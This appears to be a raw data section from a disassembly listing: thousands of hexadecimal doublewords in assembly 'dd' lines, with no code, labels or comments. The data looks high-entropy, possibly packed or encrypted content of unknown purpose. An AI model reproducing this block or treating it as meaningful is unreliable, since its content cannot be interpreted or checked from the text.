		dd 9FE11419h, 0E696800h, 44B3CBC5h, 909EB3FBh, 2E4F27F5h
		dd 7DFDE48Ch, 0C8B5802h, 2444ED5Dh, 20E9C212h, 0E5C01748h
		dd 784A0855h, 30291F61h, 0F52DAE24h, 0EA80B7A0h, 0D267F6FEh
		dd 0D304370Ah, 5C9A0A82h, 36A188B8h, 0A0306A62h, 3E1BBA9Bh
		dd 0E4634ED4h, 0E2E60517h, 11E034Ch, 270AF07Ch,	4D70D189h
		dd 204E90CEh, 68137170h, 6A942AFh, 13EA899Eh, 543A6AB1h
		dd 0FE67C598h, 0BBC5CFE2h, 0DCDFC911h, 7795E1DBh, 0EC33BA24h
		dd 575B1F55h, 7B2C978Ch, 3F2145CDh, 0C85023D3h,	945E3C88h
		dd 330A07DCh, 0E6C18E25h, 0F2AB672Ah, 56FEDAA2h, 0DEE6A9D7h
		dd 43302FC1h, 68165BD9h, 32F94F51h, 1650EBA7h, 20B81CBDh
		dd 29986579h, 30B99398h, 6009DFA7h, 0C3A97157h,	0BB8481BAh
		dd 0E982ECB7h, 105C7F4Dh, 0EA3AAC83h, 7EE0040Bh, 0FF401D02h
		dd 2F317707h, 0CDFC160Eh, 448E68C9h, 0B08BAB12h, 5ED5ED54h
		dd 0DF4AE239h, 767F6D49h, 0A5516795h, 65B8E1D8h, 0DCC0F1DDh
		dd 0B1754135h, 1A12EFFh, 73FB3640h, 819D018Bh, 24417DEDh
		dd 0E9D5FC42h, 4C2A3649h, 0ED0796E7h, 16F72F8h,	1CE645EBh
		dd 0AF04B32Ch, 0FE5DF146h, 5E295BB4h, 1588D54h,	64EDE911h
		dd 84985422h, 7FD7099Fh, 44621FF9h, 0CE7F20h, 8A563BB4h
		dd 0C91DCADEh, 0F26FBF03h, 0F5C2005Bh, 29467F21h, 0BD5500FAh
		dd 146A1294h, 4D5CDDF7h, 0CB76026Dh, 5429A516h,	4327133Ch
		dd 0E5F48081h, 2958E381h, 0C5673405h, 5537A602h, 0EAD44178h
		dd 5C2977C0h, 1674072Dh, 0EE3EDE5Eh, 9E62F481h,	28A96800h
		dd 2F49BE3Dh, 19925D03h, 0E1BCCBFFh, 0A77A59BCh, 8288189Eh
		dd 945E8D41h, 337B62FDh, 0F4BBD140h, 855C9E13h,	807AA9B1h
		dd 5EF7094Fh, 0BFBDE917h, 3BAB8AAEh, 24497FEEh,	38BE03F7h
		dd 0D7607F9Dh, 1D2FD84h, 0D1D141F1h, 4A41DF43h,	0C4E7AD14h
		dd 5000F43Ch, 0D6D7568h
		dd 2D581B00h, 9C1F4479h, 1292D689h, 56E5A45Ch, 7543E917h
		dd 26582C8Bh, 0EB05B522h, 0A5538A90h, 3C8B6891h, 0B10BB96Bh
		dd 0DB6E45F2h, 0BE741A13h, 7C932BD9h, 345F03C6h, 0A67C5DC4h
		dd 0E7950270h, 0B9E909C1h, 2D054978h, 9BA6774h,	136D84EAh
		dd 3461EF07h, 217CE389h, 28AD0B93h, 0A8886EF9h,	0D5E0069h
		dd 27B513CFh, 3FBC5497h, 0DE03F4A5h, 29915B66h,	12353CC8h
		dd 0CBBBACA5h, 0A22A7E87h, 0CB26AB5Fh, 0AD3AE059h, 0ECCA14DEh
		dd 70D601EEh, 3DE944FBh, 16AC7AC2h, 436C0493h, 0F050172h
		dd 0D1FB6623h, 0FA693D01h, 0BD778E1Ah, 0EA774E42h, 666EC1EDh
		dd 0B73CFC2Ah, 7E71AAE2h, 293BC2A2h, 0CB1F5Ch, 0F02A8082h
		dd 6280964Fh, 0CF86DBF7h, 129A1D84h, 69DDDCB5h,	4069297Dh
		dd 0D600357h, 0F3F18167h, 2C162B0Dh, 0CBEADA52h, 28FA5F76h
		dd 334AAC0Ch, 0A04CECE3h, 0A6F009E2h, 4EB6759Dh, 0F3B1EC5Ah
		dd 26648B2Bh, 8E677102h, 1770800h, 0A2EFF0D7h, 52395408h
		dd 7E7D8242h, 0BB2DE761h, 0A6FC8D12h, 94486405h, 0ABB7EC04h
		dd 0A7DC8189h, 62B8B682h, 0F5095C02h, 7DCC101h,	1E917F70h
		dd 1D2C35D3h, 0B5040193h, 6E25020Ah, 0E91274ACh, 28B7B07Bh
		dd 15F4CB7h, 53525166h,	0CCB2E6B3h, 5B16DA28h, 830BD588h
		dd 500500EBh, 4C05CB0h,	2B3407E0h, 31D28728h, 0AC6268F3h
		dd 0BE10B899h, 0E0ED3B50h, 1801B476h, 2320B203h, 0FA9D3CFAh
		dd 173FFA48h, 0C13E5921h, 2732606h, 40C7F654h, 606939BFh
		dd 0CBEC644Ah, 6E86903Fh, 0D4EFC10Fh, 2E9C79F4h, 1975B382h
		dd 0D0FF607Bh, 534C2045h, 21B7F26h, 42F9E90Bh, 0CB27C0C5h
		dd 2E092968h, 56578BF4h, 5C052C5Ch, 0C9BE4EBDh,	33D4202Fh
		dd 4A3FAABCh, 100FCBABh, 52013B41h, 0F18895B6h,	7EF605Ah
		dd 80D1F607h, 0CF7521C1h, 0F2F040BBh, 14ED29F7h, 9DADF6h
		dd 2347BAC3h, 4A067AC9h, 1A7A9EFh, 83D984F5h, 75F2018Bh
		dd 7F5B5EF4h, 2EE62C95h, 0D35B695Dh, 1D3AEF88h,	7DD98B5Ah
		dd 3CB5FE11h, 79BE4ADBh, 6C524125h, 51C92B70h, 2EB19800h
		dd 1101B7F8h, 8AC437B3h, 0E7576E60h, 0BED75B9Dh, 8400F884h
		dd 59CF30CDh, 0B8682C66h, 0BF990B69h, 2E8B0E79h, 31AA22F0h
		dd 884A796Ch, 29098557h, 68868747h, 2C43E9BBh, 26C5D673h
		dd 2DA2AA5Eh, 10334515h, 0EF1BB02h, 80F56FE4h, 0F912CB5Bh
		dd 0B1DBED3h, 0F9197242h, 0F5C8ED50h, 0C46830C7h, 1C0920B3h
		dd 0A7EF746Fh, 14FE2DD0h, 5A69C014h, 9D01E4D9h,	943558Ch
		dd 282F6CAh, 5417C7B2h,	0A1E84757h, 0C8DD4B24h,	954068AFh
		dd 8A207EFAh, 0DFF6077Eh, 316EF80h, 0C2B05BFAh,	0EA32D001h
		dd 5861E0FEh, 0A6B80F14h, 0A1D2E54Ch, 30683BCh,	103CA52Dh
		dd 2F7CDA53h, 0ADF9535Bh, 0BE02BA76h, 0B691E0Ah, 1A4C647Ch
		dd 16231211h, 0DB04BB26h, 1046929h, 0AFC1C4EEh,	5D4CD3h
		dd 0D708C10Eh, 0D8DFE90Bh, 0E1907D95h, 72C04C03h, 0E35899BFh
		dd 5F7CCB3Dh, 9BD1E37Dh, 4C07D12Ah, 0BAD83820h,	0BEAC5F68h
		dd 31689F2Ch, 3ADB7BB5h, 0F748000Dh, 86251DD8h,	53319F56h
		dd 54D64653h, 6806E65Fh, 72CF420Dh, 0BE50BAEh, 3CF87315h
		dd 0BCFFFB0Bh, 0A14484BFh, 0B97B0D8Dh, 276B3F09h, 77B7895Bh
		dd 5C62C5D3h, 2F195459h, 4A4C8A8h, 0EB4235A3h, 643145C0h
		dd 0FD3AE35Bh, 3F890449h, 0B5C007DDh, 48AD6318h, 99036868h
		dd 0D45F72Bh, 2A384BB0h, 411D2505h, 0E905673h, 3D592D05h
		dd 68E3B803h, 32801F45h, 8E09CD81h, 11E3928h, 0E568E857h
		dd 0BEBE630h, 7A94705Ch, 0F44A0C55h, 85C6B76Fh,	3F10A0BFh
		dd 977E5D25h, 3CC55262h, 0CE1E76A7h, 0EF1A32CBh, 4C84B800h
		dd 0D5FD393Eh, 5FF37BB2h, 41443F7Ch, 9ED8313h, 8140958Ch
		dd 66030DBFh, 0EF3159B5h, 57FDF25Dh, 2D8FDA74h,	40123C7Ch
		dd 0E6814CA0h, 5D688802h, 3C466997h, 0D74AA96Ah, 20B15975h
		dd 8F60E76Ah, 5D005085h, 5E362D58h, 0DF87BA9h, 8BE4C75Ah
		dd 202441E3h, 0C90B3E1Ah, 5589E501h, 0A5E2F793h, 0AFED80Bh
		dd 6DE318FEh, 109B1DD5h, 81C53D9Ah, 0E944717Ah,	0E37E93E5h
		dd 23CF003Fh, 46BF476Ch, 0C1D0F24Ah, 0D92E07F6h, 41647255h
		dd 7C616A08h, 0F86ECCDAh, 408EF1EEh, 50C4AD78h,	9238BC80h
		dd 76BFF2EEh, 0C32A1EB0h, 7B27B526h, 0BEFB1916h, 0FEF1163Ah
		dd 7B1CA58Eh, 0CE772714h, 993F2CF0h, 1AC6892Ch,	0C1678ED7h
		dd 0F0287EF6h, 81D75760h, 0D3263E68h, 6E500442h, 922933FAh
		dd 0AA70449h, 0E5D5AB8Bh, 0A350C9AAh, 4107CEFAh, 0E905F56Bh
		dd 5F74182Fh, 41F8B850h, 0D50C60BEh, 6B65A8CFh,	408440D1h
		dd 0AB140F2Dh, 127D4CC4h, 590B4E51h, 279C7EEEh,	2779BDFh
		dd 9B5AB854h, 785FD36Fh, 6487253Bh, 0DF229752h,	0D9EB0017h
		dd 5785153Ch, 92705BFh,	0B6E7097h, 4D4E3468h, 0F603A389h
		dd 37E706E7h, 7DAE4345h, 0B05C0B7h, 0CC17FDAh, 9DB0F43Fh
		dd 0DE94902Ah, 555BA9E9h, 1A1D1DD0h, 30B1B81Eh,	0F17F7E89h
		dd 663B1C4Bh, 0BE1C7C79h, 1CBA860h, 0F2E55DC8h,	5F13E941h
		dd 33113A72h, 7FCD9F90h, 0A46E1274h, 0EE0FE230h, 0C429E72Bh
		dd 39BB3AE4h, 0D39730D3h, 8630CD41h, 501200E5h,	8851EAB0h
		dd 0D574F6C5h, 58B3C89Fh, 0C5F79CB6h, 3722FB55h, 0B2FA7DBDh
		dd 8E34BA2Ch, 2783DCBCh, 0D105558Ch, 2D57A090h,	0BF187101h
		dd 58C629A0h, 4D6255FDh, 793668C2h, 403DFED3h, 5654B555h
		dd 4B0EE970h, 0F4142465h, 635A8962h, 40CC028Ch,	925AE976h
		dd 252DBBFDh, 8E547F09h, 13059258h, 0B4014EB0h,	2B17F2BEh
		dd 120017DAh, 68505153h, 5902091Ch, 0F700585Bh,	0DC60D188h
		dd 66C7E912h, 9D10C8BBh, 69FE5195h, 73276078h, 6BCE594Bh
		dd 0D998CEECh, 0E9571854h, 0C4BB3827h, 7C9AB257h, 3A5F2D56h
		dd 2B8B5E51h, 79C477FBh, 855AAD2Ah, 97356730h, 2F7FF2C6h
		dd 0C4DC65A8h, 0DE35E262h, 6A7C52E1h, 2B21152h,	0DD4CA32Fh
		dd 56AFED92h, 45E4A0AEh, 0C17DBF60h, 50F4305Dh,	0A056AD63h
		dd 2D13CDACh, 7F5C3E0Ch, 0ECD62D0Ch, 76FABD5Dh,	31AEF15Ah
		dd 3ECD3112h, 1DB21FB8h, 553B01F8h, 70BC975Eh, 0F8E4B4B8h
		dd 5F21C9F9h, 22959E96h, 1A7B695Ch, 0C85C0042h,	9F31E8ADh
		dd 73E90B1Fh, 3D666C29h, 2DF90C82h, 2513DD68h, 0E6F52090h
		dd 3A622F0Ch, 0DB3D4874h, 836D24FEh, 84DD3EA6h,	829DBEEEh
		dd 7D799020h, 0FE2E7620h, 99A9E0Ch, 9B30271Ch, 0FEBDD297h
		dd 0F50142CBh, 138075C6h, 439A5178h, 64354003h,	0A811ED69h
		dd 12E7A141h, 0FCC20181h, 1B9F86C7h, 49F0BF2Eh,	470C37FAh
		dd 1CDE8772h, 0A2ED9155h, 685209C0h, 9955602Ch,	56F670E3h
		dd 5E9683F7h, 0EAB010A4h, 0AF2539E7h, 80AF977h,	0E9063B76h
		dd 25FD534Fh, 0DF42585Fh, 68EDC2D5h, 0C423797Eh, 0F36CA22Bh
		dd 187448F3h, 2029BB67h, 0CC323174h, 0A70BDB3Eh, 6A6A7F55h
		dd 33CD3060h, 5E039A91h, 0DA51B67Ah, 5817491h, 8BCE295Dh
		dd 63855EE1h, 67F43264h, 0BE595E68h, 38EA0E34h,	0F525E9DAh
		dd 0E02C524Eh, 55408235h, 6010750Ah, 12603152h,	12300317h
		dd 4F31E981h, 0B19C746Fh, 7E2C82EEh, 5D07E33Ah,	279F7F5Ch
		dd 1F749C0h, 0B793E9FEh, 3C050000h, 324E8CD7h, 3645000Eh
		dd 4A73188Eh, 0E6D2ADE2h, 86E9120Dh, 4970EA84h,	2D2BB353h
		dd 365E5052h, 0C6C45893h, 2DC559C1h, 1F1EC3Bh, 68CDFEA4h
		dd 3F5334B9h, 0CAF3E7B2h
		dd 61C29A7Ah, 84DB6935h, 0B503ADFAh, 3E379B00h,	0B8485B32h
		dd 0BB681263h, 0DA05AE52h, 50FEE1F1h, 0BD4E91F1h, 5F5E257Ah
		dd 0CC020F12h, 5652F0B2h, 0EF86EB01h, 0DA89B04Ah, 4CD08B7Fh
		dd 2475301Ah, 9216E9A8h, 6366904Eh, 121A9259h, 53587BEAh
		dd 40B03501h, 0F80103DDh, 0EC2028C9h, 0F33FF5F3h, 142A051Bh
		dd 0DDFF6308h, 0AB0C04E9h, 8891F8F3h, 8EE927D8h, 0A18C625Ah
		dd 0DE5618D8h, 35079272h, 9C103Ch, 47062D3Fh, 10D18FBh
		dd 3B8E70A4h, 0DEE95740h, 0EE5B7DC4h, 246863F4h, 8CC91AF2h
		dd 0CFF7696Fh, 0B1B08590h, 25C35297h, 0BC9BA1Ah, 47AD3AABh
		dd 3B38DFD4h, 9B8694DCh, 0BA051957h, 2BCA4405h,	5D318EC7h
		dd 243021B5h, 0CB190242h, 5706E9C5h, 0E9BDD455h, 0CA30D1F2h
		dd 0A1F3B95Bh, 70FD250Ah, 5401A76h, 5D7ECC6Fh, 1A646818h
		dd 0AE5B0C20h, 9D965A3Fh, 287E160h, 0B6D87505h,	62A1F9BDh
		dd 0B94AA0E9h, 74250077h, 95292D1Ch, 42D7B069h,	0BE00D9FAh
		dd 58DB704Fh, 1204CA37h, 0F9527545h, 5E084098h,	2B445A4Ah
		dd 0F8577B10h, 0C016B595h, 977039BFh, 35BF1BD4h, 0B099A045h
		dd 275EB248h, 336B8459h, 350A37BBh, 7CE890E5h, 3131F838h
		dd 4407D458h, 0A33E0F21h, 260B4C4Fh, 50B435Fh, 0B6805747h
		dd 0D5151DF7h, 16270740h, 0A1347CD7h, 57FE021Eh, 8716B356h
		dd 0DBCCBFB1h, 0D9DE2543h, 785F46C2h, 72220BB4h, 0B0FF5DFAh
		dd 0B40EE9B9h, 19B00262h, 4757C688h, 0F7306275h, 68C421F7h
		dd 81377133h, 313C994Fh, 85087993h, 71F9660Bh, 8F3B9E05h
		dd 8002C12Eh, 0D0E350Eh, 8B28338Fh, 9D3C03C1h, 0BF4603AAh
		dd 41EF0A5Ch, 0A73F2FD1h, 0FAE07724h, 114BF180h, 4AF416A4h
		dd 0ECF9DD06h, 5A8112D0h, 0C7038838h, 505576AFh, 0A6DF1230h
		dd 0EEDD1A15h, 0D83BF129h, 7B9A3DE2h, 8012B67Ah, 0E1614E6h
		dd 15DE380Ah, 81EB0844h, 1631F9CBh, 0AB52DD8h, 0C3E0EED0h
		dd 80DFB19Fh, 0E26F0FE5h, 0EABF0221h, 753A5459h, 4A7F53E2h
		dd 5E0B0492h, 601EE0EBh, 2DEA904Bh, 65A86B12h, 98E99705h
		dd 6F0BD3Ah, 0DFA0B2Eh,	44F3080Ch, 0FC027E65h, 604F9B1Eh
		dd 0B391B61h, 0F0012070h, 0E4441204h, 6212D602h, 0D0BB321Ch
		dd 0EF11BE22h, 0FA45423Bh, 759EAC0Bh, 7225FEAh,	2AC9E588h
		dd 7951DCC1h, 6BA671B7h, 0F8B146F5h, 72010268h,	0BEE0E915h
		dd 2512E77Fh, 28350849h, 34592CB1h, 0F2475B02h,	0A9FC4015h
		dd 8C0D67B8h, 1EFDF9CFh, 542F9D8Bh, 9AFF3849h, 451DDCE9h
		dd 0B11DA855h, 1854546Ch, 0B37A71EAh, 89978BD6h, 544719C5h
		dd 9FB87FCEh, 5A9D9AE9h, 0D9DE955Ah, 4222DF72h,	6F222BF6h
		dd 72707E08h, 93ED160h,	72E83FE1h, 69B482F5h, 16685C00h
		dd 17A9B05h, 1D4AB6BAh,	9266017h, 0F06A231Fh, 0BD1D13EEh
		dd 685F3820h, 837C70A5h, 4679DEE2h, 4F1CB5E7h, 7FFDDFA1h
		dd 0BC50A9E9h, 0E4670048h, 0A2CB813Dh, 250B2E72h, 0D55422E9h
		dd 0C1FD098h, 8AFAD3B7h, 1649696Ch, 7A60FFD4h, 4F9C3F0Fh
		dd 7CB7E93Ch, 0E9891D5Fh, 0BDF9C7E0h, 5F4515C7h, 805CCA41h
		dd 3B88EDh, 5150664Eh, 0E8F272B5h, 4B391A1h, 4B6C09C1h
		dd 0B1C6B854h, 40529716h, 882A8F0Bh, 6790071h, 0A0167AE9h
		dd 2574843Dh, 3D601AF3h, 4860AD3Ah, 0E27FB718h,	90D1B833h
		dd 662F5217h, 4349D418h, 481254E1h, 80FF6D73h, 8F4C3B8Eh
		dd 31F3658h, 315E43EEh,	0AB02ED51h, 777A1BFCh, 1E158FC0h
		dd 259DE695h, 0A36E35F0h, 11E2E780h, 0F8625928h, 43163696h
		dd 8EE1D912h, 51BB86Bh,	62A875C4h, 8709F6F8h, 35DCC53Ch
		dd 0CCEF8909h, 0CE1B40Dh, 0DB4361B7h, 0E3EB8109h, 6689E0h
		dd 0AB59F50Bh, 9AD9C2Eh, 307F61FAh, 809D1B23h, 0E1AB3B9h
		dd 57FE7801h, 2FE9A60h,	8F62C425h, 0BE56401Fh, 2C3C329Bh
		dd 47AC2146h, 44389294h, 0B459CB42h, 5F96F569h,	0B72F9920h
		dd 0F109F452h, 8952F915h, 0E5E98091h, 4C3D1C43h, 8506977Fh
		dd 0D0106049h, 9AA67D09h, 0BAD055EFh, 0EB5853B7h, 642292C9h
		dd 0D61E31AAh, 0BA4B4E5Ah, 3C1AD9C1h, 49470F19h, 744820DAh
		dd 0B6CD0980h, 0EF7E59BBh, 61682009h, 9FD2664Bh, 807CB7B0h
		dd 51729C6h, 69D22F15h,	50CAE956h, 242D7B2Dh, 0EEAF0B48h
		dd 0A9883054h, 54502703h, 0B35DA2FCh, 7EB297ABh, 0C402DA10h
		dd 0A3A0AAE9h, 0C0D209B5h, 936004EDh, 0C9FE42CDh, 51E0F6Fh
		dd 0AA81A6CBh, 57E2862h, 0EC67F90Ah, 21A2D2ABh,	0B0E8A896h
		dd 4E236C45h, 5FA08A1Fh, 313EE5E8h, 0F708C46Ch,	5808D052h
		dd 213D1573h, 30E64B31h, 0A2740700h, 592D5843h,	0DD8B5218h
		dd 7023E969h, 0B554B770h, 6B77D152h, 510E69B6h,	53D78853h
		dd 0D41080ECh, 76B5CBCh, 0DC308EB4h, 58E728D1h,	8654D6CEh
		dd 2ADEBCE9h, 12C1AC5Ch, 0F2EA4774h, 0D72D799Dh, 3C25511Ch
		dd 0E361C82Dh, 0BB10305Eh, 60C21E1Fh, 51C26216h, 26F0FE66h
		dd 3D64173Dh, 0A508385Ah, 5EAA8EEFh, 5889DC29h,	0F44E14B9h
		dd 1B16BAF4h, 54BC1303h, 41A7F85Fh, 2760D40Ah, 0C66F512Fh
		dd 9D098D6h, 1A451C35h,	44A18F04h, 189A1FE0h, 94ADE95Eh
		dd 26E904E6h, 4D61F70h,	130FF06h, 7F541DD4h, 0D01ABE7Ah
		dd 1450CFEh, 21B42991h,	3CBBE9F9h, 18AD3B90h, 11A94E6Eh
		dd 2B641234h, 0E705FE59h, 39BA0C08h, 18E57BE9h,	0D5F7C83Eh
		dd 501CF9Ch, 7B0813FDh,	0E3EED76Bh, 622EE73Fh, 9D0C1157h
		dd 3D81B44Fh, 3B1375CAh, 70C2083Ch, 32E02917h, 37065AFEh
		dd 0E0059245h, 0D020247Ah, 0CEB980AEh, 3FB13D01h, 0FBB70C92h
		dd 83B43E77h, 0FE1D1BACh, 8A88D2C4h, 0B52D021Dh, 82524C6Ah
		dd 0A05DE9F3h, 515366D8h, 1A90DFB1h, 70022D47h,	0C4FDC829h
		dd 736678C6h, 2C2D1DE8h, 695DDE6Fh, 4036178Eh, 0FBE4B87Dh
		dd 294E626Dh, 0E100B299h, 0BAD66DAh, 5392E96Ah,	259CD2E8h
		dd 0D29B3625h, 84084A39h, 30A7EADFh, 55DD6809h,	56B845Ch
		dd 0DDAA564Eh, 31FE2BF3h, 5359D4AEh, 61B9CC8Fh,	15E8CEBh
		dd 9E1CF6F3h, 8B87A402h, 0C9F66EB6h, 2B1E4BCFh,	1E007D9Fh
		dd 29084713h, 74686AC3h, 0CA271250h, 1206B3E1h,	4FBCBD8Ch
		dd 6B090C9Eh, 9105C5F5h, 55F203FEh, 13E29E08h, 35AEE452h
		dd 0E710E295h, 69D1AF51h, 859E23C9h, 87911042h,	0F07770A6h
		dd 0CC59ED27h, 725C226Fh, 2056169Fh, 3BF728A0h,	97174BAh
		dd 48599DC5h, 0DE0227BCh, 3F5D597Bh, 39A86DC0h,	760F61E4h
		dd 48F01BC6h, 0CD4E8F93h, 0AB0664AAh, 1710E2E9h, 0AEC4E29h
		dd 2203826h, 0D9F74127h, 13881040h, 293F961Fh, 0D94555E7h
		dd 42F6D18Ch, 0BBD74EB6h, 8855FC01h, 0E1FC5AF4h, 1CF19509h
		dd 4D54528Ah, 122BAD3Ch, 3AEC830Fh, 0F179835Bh,	453FDA6Ch
		dd 0FA598736h, 0BFD359A2h, 0D7137775h, 0E91080BAh, 0E49F4F39h
		dd 5B9DF06Fh, 0C2D374EEh, 934005A6h, 5C4176DCh,	0F6F55444h
		dd 4198EC6Bh, 5AFD3E08h, 5F4A8510h, 0B71626ACh,	9FBDF884h
		dd 218B7FE5h, 0ECAD4A45h, 289C2D26h, 0EAE4CDF1h, 0EA98AF25h
		dd 2276EFh, 0E0702D08h,	0C231B7ABh, 0E7F174A0h,	0EDD50082h
		dd 582ED941h, 3C047049h, 0C64C5750h, 880F4F1h, 0DA2F315Dh
		dd 3E42735Bh, 0E9173520h, 0A12250B5h, 2D9B74B8h, 12BD1655h
		dd 904BAEE9h, 0C81D88D5h, 0D0E10D4Ah, 0B03A4431h, 741F48DDh
		dd 0F50B348Ah, 0B531D75Eh, 4AB76CC8h, 0C3DBCCBEh, 92F6275Dh
		dd 0CB68E60Bh, 60E3A93Ah
		dd 4C19CE7Ah, 70BBC930h, 151ABDE5h, 0AF1B3075h,	5E1295EAh
		dd 16961EDFh, 0FFC855E9h, 3A5A12D0h, 4E737CB1h,	0BA5284E8h
		dd 0B202B7D9h, 2D7CCEBFh, 0D3E972E9h, 52AE2FE6h, 38F1ECD5h
		dd 4315ADC5h, 4298F1E3h, 0AFD4473Eh, 31C22F6Ch,	0BF45DEAh
		dd 92094117h, 255F51EBh, 6B146FF0h, 9EFF337h, 0E62FCF68h
		dd 2D849231h, 0F9B92E3Ah, 0AC58F050h, 0F7EA8FC9h, 0E640B642h
		dd 70A01F84h, 213D8F6h,	13AB7DFAh, 97A40728h, 4475D647h
		dd 5584A84Ah, 44702EFEh, 0B040D3D1h, 68FE0FBFh,	0EC4969CDh
		dd 0DF3105A2h, 9028E65Fh, 0C2659725h, 6927BF81h, 0CFF02075h
		dd 0BA661836h, 43E0C2Ah, 1BEB5Ch, 0B16FA5E7h, 5E8BE96Eh
		dd 2C31BAC4h, 0BD365344h, 0A50AD106h, 0ED0CF627h, 180D6E72h
		dd 0A3354AB5h, 47DA1264h, 0BBC3D5BCh, 0AFE55B6Dh, 9008B5E4h
		dd 949B0B27h, 0C504B33Dh, 16B8D4Bh, 6B1325D4h, 5C89D38Bh
		dd 0BCAD0805h, 0EF891729h, 2F2A5408h, 5728B3D9h, 3B7E7420h
		dd 5EF3CA01h, 0C560BAF2h, 0FC65B050h, 863D53E0h, 535A5409h
		dd 0D8BECF30h, 7EE3180Fh, 95BBA64Eh, 872EF926h,	67E9A17Fh
		dd 0FB6D9945h, 0E47F5FD7h, 316195A8h, 0B9ACD7Bh, 7304FE1h
		dd 50D03F9h, 0D6F74655h, 0C101DE93h, 0BB22EE81h, 1300853h
		dd 0C25BCE3Bh, 0BB3F14E6h, 386C42C1h, 0D6F02A77h, 9A1C9534h
		dd 634F7EFCh, 0C42D4AB7h, 6C5E8861h, 80EB0374h,	0CF4DF117h
		dd 6819AFF2h, 0BD99B2CEh, 0DECAEF87h, 30B6C261h, 0CA7261D3h
		dd 663B2270h, 0B9F4DFF7h, 37E4580Dh, 2F4353A2h,	0AE3ABB6Eh
		dd 0CFEA1308h, 6A68093Fh, 54DC191Bh, 8798F93Bh,	0E91E5AB9h
		dd 731D8035h, 16183B5Fh, 0ED2AE6E9h, 524832h, 52E50DDFh
		dd 0E659CA31h, 6F80C5D0h, 1FF946Ch, 1F618DE7h, 44D72025h
		dd 2676CAF4h, 7EB7CB07h, 0F3C06675h, 0B0C0ADAh,	3471E92Dh
		dd 318955D3h, 5D38774Dh, 51B85356h, 86202A0Bh, 0C4EFC0Dh
		dd 0E9112CBEh, 0F1D46D27h, 114E9AE1h, 0ABF59E84h, 754617D8h
		dd 35570329h, 1B0ED797h, 0AD5CE0C4h, 8DB2E34Ah,	0EA17BAD0h
		dd 3F98FEF2h, 0FAD08B16h, 4871B276h, 0F7038395h, 400400D0h
		dd 6ED3BB2Dh, 0E31E966h, 0E7C03A10h, 0D20A5E7Fh, 0EB2057C9h
		dd 435AFDCEh, 78723706h, 0A21DBE80h, 787C0E2Eh,	0EF208700h
		dd 5AD6296Ah, 0A58945Ah, 13A95D0Bh, 0DA18F304h,	27277D1Eh
		dd 8EB172F3h, 716BEBFEh, 41DC8B3Eh, 509764F5h, 62F0AFD8h
		dd 662B2175h, 0C0D5F702h, 339EBDDh, 0A225536Ah,	40A02230h
		dd 0FE055C05h, 0A1E928B5h, 24B87FD1h, 452D6580h, 520B266h
		dd 0B1ABC09h, 2F08DD4Bh, 0AA680407h, 0BA91D811h, 94A0170h
		dd 0F15EC403h, 630C0521h, 822FAB67h, 0EE244B7Eh, 939FB2BEh
		dd 0D1851DF8h, 0D3149336h, 298B15B9h, 1B6806F1h, 5EE62C3Dh
		dd 3E5C395Fh, 715B67E2h, 6F1A7A7Bh, 0D178D533h,	457F1174h
		dd 8C01EAD2h, 0E13F73Eh, 0CBBBB05Dh, 0ECB04EEEh, 21B6A857h
		dd 0B561B2D3h, 9D2F1052h, 0A732D988h, 12E334DDh, 0EEC8BE0Fh
		dd 3CBA8C52h, 9F601DC8h, 0FC90B52h, 4CF02784h, 8B8C8D51h
		dd 9ED98D43h, 0F677528Ah, 257D0DAFh, 0F0A53E26h, 68821679h
		dd 88DC7540h, 7D173662h, 0D6F7CDB8h, 67EB874Eh,	0E9DF913Bh
		dd 9597C4Fh, 59F0215Ah,	52DF49DAh, 0B7E91208h, 0CD59D095h
		dd 710B15CEh, 1DDF709h,	8E801688h, 98EF01C8h, 40CF906Bh
		dd 602A685Bh, 0BB055366h, 53E27A4Ch, 0E82104BEh, 14AE123Ah
		dd 0E9B31101h, 395CF7E2h, 5C0809CBh, 1CE984D7h,	319E9DFh
		dd 5B595AF7h, 0E46C8F4Fh, 0A2935B01h, 1B7D423h,	78157282h
		dd 632580E9h, 0D9DBA92Fh, 77931E80h, 8682A8EBh,	9877D82Eh
		dd 9531402Eh, 68509305h, 70FB154Ch, 0A0B4E95Fh,	57BE32C0h
		dd 0BD2E7472h, 0D1002A42h, 47CE8146h, 61355402h, 555D28E9h
		dd 952C7C47h, 0AD875B13h, 76EA6861h, 1CCD7F7Ch,	0BBA3A29h
		dd 0E685F997h, 2264CD1Eh, 685CC29Ah, 7CDE7577h,	0E7B58120h
		dd 0A8896990h, 584B34D0h, 955CA778h, 7F52AC51h,	0D7E94279h
		dd 7F5F2AC1h, 0F4E93421h, 0F37C4FFFh, 21681021h, 0B250882Fh
		dd 6EC54A5Fh, 51E39EBCh, 0E2812F1Fh, 0EE9F614Ch, 37943BF2h
		dd 9D8379A8h, 58B59B72h, 0AF583333h, 6BA8E133h,	0D15B3EF0h
		dd 79DFECD0h, 11F4B752h, 0D962A63Ch, 437180BFh,	4440D2Ch
		dd 0D1101245h, 0C95B00E8h, 4F18F176h, 644E5398h, 0C2A435A9h
		dd 0B5E59037h, 65FCFEA2h, 0E9624A0Bh, 2DDE6083h, 0BB76134Bh
		dd 1974D96Fh, 61E320ADh, 8F303241h, 670C14BBh, 0C94FDD72h
		dd 0ADB9D9C4h, 20485219h, 68134538h, 0D63547EEh, 0F2E45109h
		dd 19F201F8h, 5B21660Ch, 8D488242h, 40762068h, 1727EC1h
		dd 0B12D2AABh, 7B3B3C36h, 0E91239BDh, 6CCCBF23h, 0C911FE38h
		dd 4BF24760h, 13DD36A2h, 7CD2B0FCh, 502586Fh, 5086E68h
		dd 0D2CCEBE9h, 84558A70h, 0C852889Ch, 39A1D96Fh, 56CB6EE5h
		dd 0B2A51D13h, 8168011Bh, 5850FB3Dh, 1CF9362Fh,	2361BBA1h
		dd 0B1562F3Bh, 842B2AADh, 6E71E534h, 7E7D4AFCh,	0CAF6BDA7h
		dd 12098BEFh, 6D9D00A3h, 1B38610Ah, 23625768h, 5D24B08Ch
		dd 9A8A689Fh, 0C8FD825Ch, 98153C75h, 0EE5977FCh, 0BA479504h
		dd 8EE95C84h, 18356BD0h, 41D40160h, 991B250Dh, 0C291FC7Dh
		dd 270C4CBDh, 907F2CA8h, 7E555A9Ah, 0DC3505BDh,	0D5A0E97Bh
		dd 1F2F839Bh, 0C3800A0Eh, 0AEE30E3Dh, 84A8B2EBh, 174ABA84h
		dd 0E46CB503h, 92AFD92Ah, 6D30D23Eh, 0FD9D4FFAh, 0A7E47D02h
		dd 46EE4552h, 0D5BA714Ah, 252CB6FBh, 584E57F2h,	5DEA76D7h
		dd 0EE2D92D2h, 16B0F2C5h, 816D4402h, 1E11CF17h,	0C61EB2BCh
